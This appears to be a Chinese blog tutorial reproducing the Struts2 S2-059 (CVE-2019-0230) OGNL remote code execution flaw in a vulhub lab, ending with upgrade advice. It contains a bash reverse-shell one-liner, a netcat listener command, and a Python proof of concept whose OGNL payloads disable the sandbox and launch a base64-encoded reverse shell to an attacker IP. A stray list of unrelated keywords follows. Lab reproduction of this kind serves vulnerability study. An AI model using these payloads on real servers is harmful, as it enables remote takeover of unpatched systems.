千家信息网

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,这篇文章给大家介绍怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。2020年,struts2爆出
千家信息网最后更新 2025年01月20日怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

这篇文章给大家介绍怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

2020年,struts2爆出了s2-059预警,最近又出现了s2-061,S2-061和S2-059的OGNL表达执行触发方式一样。S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。在这里我用s2-059进行测试。

1.简介

Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序,它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

2.漏洞概述

2020年08月13日,Apache官方发布了Struts2远程代码执行漏洞的风险通告,该漏洞编号为CVE-2019-0230,漏洞等级:高危,漏洞评分:8.5

漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

3.影响版本

Apache Struts2:2.0.0-2.5.20

4.环境搭建

4.1本次漏洞环境使用vulhub快速搭建,vulhub下载地址如下:

https://github.com/vulhub/vulhub

将vulhub-master.zip解压后复制到kali里。

cd vulhub-master/


cd struts/


cd s2-059


4.2使用docker-compose快速构建靶场环境。

docker-compose build

docker-compose up -d


4.3启动完成后在浏览器访问http://ip:8080/ 就可以看到测试界面。


5.漏洞复现

5.1在浏览器访问http://ip:8080/?id=%25{2*5},可以发现执行的2*5成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。


5.2使用poc来反弹shell,反弹shell的payload需要使用base64编码。

bash -i >& /dev/tcp/192.168.169.130/6666 0>&1

base64编码网址:

http://www.jackson-t.ca/runtime-exec-payloads.html


5.3kali里执行nc -lvvp 6666进行监听。


5.4将payload修改为自己的payload后复制到文本里,重命名为1.py。利用python运行。

import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2OS4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)



5.5反弹shell



6.修复建议

6.1升级到Struts 2.5.22或更高版本。

6.2开启ONGL表达式注入保护措施。

关于怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

漏洞 表达式 框架 代码 属性 标签 环境 分析 内容 应用程序 方式 更多 架构 浏览器 版本 程序 编码 帮助 应用 影响 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 魔兽轮回服务器能转服吗 软件开发开发要学习什么 七龙珠为什么不可以创建服务器 浙江多功能软件开发厂家价格 软件开发文档主要包含的内容 公有云数据库竞争 淳化网络安全宣传周 福州app软件开发一般要多少钱 上海广厦网络技术有限公司 现代信息网络技术实训中心 数据库属性 scale 个人服务器多少钱一台 要做软件开发买什么笔记本好 嵌入式软件开发培训机构 江阴现代软件开发平均价格 网络安全未来市场怎么样 哪个数据库提供中文电子图书 数据爬取怎么把数据存入数据库 陕西省总工会网络安全 sql有两数据库go 软件开发开发要学习什么 计算机网络技术前沿技术 如何将网络安全保护 王者的服务器对应英雄 长宁区节能软件开发服务商有哪些 招行炒股软件开发 java语句修改数据库 西游梦幻手续服务器时间表 星际争霸2服务器哪个好 精易通洗浴管理系统建立新服务器
0